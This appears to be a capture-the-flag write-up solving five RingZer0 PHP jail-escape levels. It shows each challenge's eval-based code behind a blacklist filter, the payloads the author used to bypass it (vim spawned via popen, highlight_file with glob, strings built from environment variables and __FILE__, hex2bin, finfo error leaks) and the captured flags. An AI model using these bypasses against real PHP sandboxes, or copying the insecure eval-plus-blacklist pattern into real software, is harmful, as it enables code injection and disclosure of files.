Here are my solutions for the ringzer0 Jail Escaping PHP challenges.

Level 1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
RingZer0 Team Online CTF

PHP Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)

Flag is located at /home/level1/flag.txt

Challenge PHP code:
-----------------------------

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(`|open|exec|pass|system|\$|\/)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

-----------------------------
Your input:

Pretty simple:

1
2
3
Your input:
echo(file_get_contents('flag.txt'));
FLAG-sW66QEY4y6724723c7w1i0oMt179E75y

Level 2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PHP Jail Level 2
Current user is uid=1001(level2) gid=1001(level2) groups=1001(level2)

Flag is located at /home/level2/flag.txt

Challenge PHP code:
-----------------------------

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(\/|a|c|s|require|include|flag|eval|file)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

-----------------------------
Your input:

Since some functions (like fread, file_get_contents are not allowed) we can use popen to start an external command in order to read the flag.txt:

1
popen("vim", "w");

This vim is started and we can read the flag.txt by loading it into the buffer:

1
:r flag.txt

Flag: FLAG-YlxV8cCg84zvUtt595dla5un9EW57BCL

Level 3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
RingZer0 Team Online CTF

PHP Jail Level 3:
Current user is uid=1002(level3) gid=1002(level3) groups=1002(level3)

Flag is located at /home/level3/flag.txt

Challenge PHP code:
-----------------------------

WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

-----------------------------

Since a lot of functions have been disabled, one must find a function that is allowed and doesn’t contain any restricted characters. highlight_file is one of those functions:

1
2
3
4
5
Your input:
highlight_file(glob("fl*txt")[0]);
<code><span style="color: #000000">
FLAG-D6jg9230H05II3ri5QB7L9166gG73l8H<br /></span>
</code>Command executed

Level 4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
RingZer0 Team Online CTF

PHP Jail Level 4:
Current user is uid=1003(level4) gid=1003(level4) groups=1003(level4)

Flag is located at /home/level4/flag.txt

Challenge PHP code:
-----------------------------

WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(\'|\"|`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

-----------------------------
Your input:

As you can notice highlight_source is not disabled, so you can use sth like:

1
highlight_source("flag.txt");

However, double quotes and the characters “a” and “.” are not allowed. Next idea was to use glob:

1
highlight_source(glob("*")[4]);

But again: Double quotes and the “*” character are not allowed. Since my solution is kind of complicated, I’ll try to explain what my thoughts were:

a) I needed the “/” character (is also not allowed) b) I needed the “a” character c) I needed a way to define a string without using double quotes d) I wanted to somehow build the string “/home/level4/flag.txt” with allowed characters and use it with glob

Now the solutions to every particular problem:

a) Using phpinfo(); I’ve found out that there were some environment variables I could use to extract the “/”. Then I ran:

1
2
3
print_r(getenv(HOME));
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
/home/level4Command executed

Then I could extract the “/” by using

1
getenv(HOME)[0];

b) PHP has some predefined constants like __FILE__, __DIR__ and so on:

1
2
print_r(__FILE__);
/home/level4/jail.php(14) : eval()'d codeCommand executed

Using __FILE__ I can extract “a” and “.”.

c) Using define(), implode()/explode() one could define contants as strings and use array operations to extract/concat characters:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
define(HEY,__FILE__);print_r(explode(getenv(HOME)[0],HEY));
PHP Notice:  Use of undefined constant HEY - assumed 'HEY' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
Array
(
    [0] => 
    [1] => home
    [2] => level4
    [3] => jail.php(14) : eval()'d code
)

By using implode() you can then concatenate several characters:

1
2
3
4
5
6
7
print_r(implode(getenv(HOME)[0],[getenv(HOME)[0],home,level4,file]));
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant home - assumed 'home' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant level4 - assumed 'level4' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant file - assumed 'file' in /home/level4/jail.php(14) : eval()'d code on line 1
//home/level4/fileCommand executed

d) Now if you put a), b) and c) together you should be able to build your payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
define(HEY, __FILE__); highlight_file(implode(getenv(HOME)[0],[getenv(HOME)[0],home,level4,getenv(HOME)[0],implode(explode(getenv(HOME)[0],HEY)[0], [fl,explode(getenv(HOME)[0],HEY)[3][1],g,explode(getenv(HOME)[0],HEY)[3][4],t,x,t])])); 
PHP Notice:  Use of undefined constant HEY - assumed 'HEY' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant home - assumed 'home' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant level4 - assumed 'level4' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant fl - assumed 'fl' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant g - assumed 'g' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant x - assumed 'x' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice:  Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
<code><span style="color: #000000">
FLAG-X9uF51b0X570f616897kLN3It3K6m63c<br /></span>
</code>Command executed

I know… Very complicated (I’ve seen solutions using hex2bin()) but it does its job :)

Level 5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
RingZer0 Team Online CTF

PHP Jail Level 5:
Current user is uid=1004(level5) gid=1004(level5) groups=1004(level5)

Flag is located at /home/level5/flag.txt

Challenge PHP code:
-----------------------------

WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("PHP Jail need an argument\n");

function filter($var) {
        if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|require|include)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        eval($var);
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

-----------------------------
Your input:

The first thing I did was to generate the filename (flag.txt):

1
2
3
4
Your input:
print(glob(hex2bin(hex2bin(3261)))[0]);
flag.txtCommand executed
Your input:

Then I needed some function to read the contents from flag.txt. However, due to additional character restrictions, I wasn’t able to find any one that would bypass the restrictions. Then I bought the hint which stated:

md5 can return raw characters such as *, Some classes can help you error messages too

So I need some class with some constructor which takes a filename as an argument. As always: Google is your friend -> inurl:php.net/manual/en/class. And then I’ve found Finfo:

1
2
3
4
5
6
Your input:
new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]);
PHP Notice:  finfo::finfo(): Warning: offset `FLAG-81M2544kLM9nxBJCfMG2ET8329Lo1qqZ' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Notice:  finfo::finfo(): Warning: type `FLAG-81M2544kLM9nxBJCfMG2ET8329Lo1qqZ' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Warning:  finfo::finfo(): Failed to load magic database at '/home/level5/flag.txt'. in /home/level5/jail.php(14) : eval()'d code on line 1
Command executed